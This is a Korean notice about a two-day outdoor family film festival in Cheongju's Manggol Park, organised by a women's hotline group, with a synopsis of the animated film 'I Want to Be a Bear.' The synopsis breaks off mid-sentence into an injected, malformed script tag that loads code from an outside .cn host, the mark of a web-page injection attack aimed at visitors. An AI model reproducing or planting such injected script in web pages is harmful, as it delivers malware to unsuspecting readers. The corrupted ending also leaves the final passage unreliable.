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제목 사랑키우는 한여름 밤의 가족영화제
내용 사랑 키우는 한 여름밤의 가족영화제 청주 여성의 전화 6.7일 청주 용암동 망골공원서 여름 밤 온 가족이 함께 볼 수 있는 야외영화제가 열릴 예정이다. 청주 여성의 전화는 제9회 여성주간을 기념해 오는 6일부터 7일 이틀간 오후 8시 청주시 용암동 망골공원서 ‘평화를 만드는 가족 영화제’를 개최키로 했다. 상영 영화는 ‘곰이 되고 싶어요’와 ‘키리쿠와 마녀’ 두 편으로 모두 진정한 가족의 의미와 인권 및 평등사상을 주제로 하는 가족 애니메이션이다. 청주 여성의 전화는 이날 영화상영 뿐 아니라 관람객들을 위한 행운권 추첨도 실시할 예정이다. ▶곰이 되고 싶어요 (야니크 하스트룹 감독)  신비로운 북극의 신화. 따뜻한 동심의 세계로...  2003 베를린 영화제 최우수 애니메이션 작품상과 시카고 국제 어린이 영화제 심사위원상을 받은 작품.덴마크의 거장 야니크 하스트룹 감독의 제안으로 벤트할러의 동화를 시나리오 작가 미셀 페슬러가 각색해 만들어 졌다. 북극의 그린랜드. 알라스카. 캐나다 등지를 돌아다니며 살아가는 전통적인 에스키모 이야기에 기반을 둔 이 영화는 인간의 흔적이 드문 미지의 땅을 배경으로 디지털 사회에서는 도저히 만날 수 없는 꿈의 스토리를 선사한다. 생동감 넘치면서도 간결한 그래픽과 수채화 같은 배경은 미끈한 3D 애니메이션에서 느껴지지 않는 서정적인 깊이를 느끼도록 독특한 영상감각을 보여준다. 온통 하얗고 거대한 빙하들이 위용을 자랑하는 북극 그린랜드 섬. 그 곳에 축복이 가득한 새 생명의 탄생을 기다리는 엄마 곰이 있다. 그러나 늑대의 습격으로 새끼 곰은 따뜻한 햇볕 한 번 보지 못한 채 싸늘하게 죽고 만다. 그때. 사랑스런 아이를 이제 막 출산한 에스키모 부부는 곰의 슬픈 울음소리를 듣는다. 종일 먹지도 않고 물속을 바라보며 죽은 새끼 곰을 그리워하는 엄마 곰과 아빠 곰은 에스키모 부부의 집에 숨어 들어가 갓 태어난 아기를 몰래 데리고 온다. 행복한 미소와 따뜻한 가슴으로 마치 자신의 새끼인 것처럼 인간 아이를 품어보는 어미 곰. 아기는 엄마 곰의 따뜻한 사랑과 보살핌을 받으면서 자신이 곰인 줄 알고 성장한다. 한편. 아기를 빼앗긴 에스키모 아버지는 필사적으로 곰의 뒤를 쫓고. 마침내 아기를 데리고 있는 곰의 은신처를 발견한다. 아기를 뺏기지 않으려고 엄마 ?script src=http://dae3.cn>
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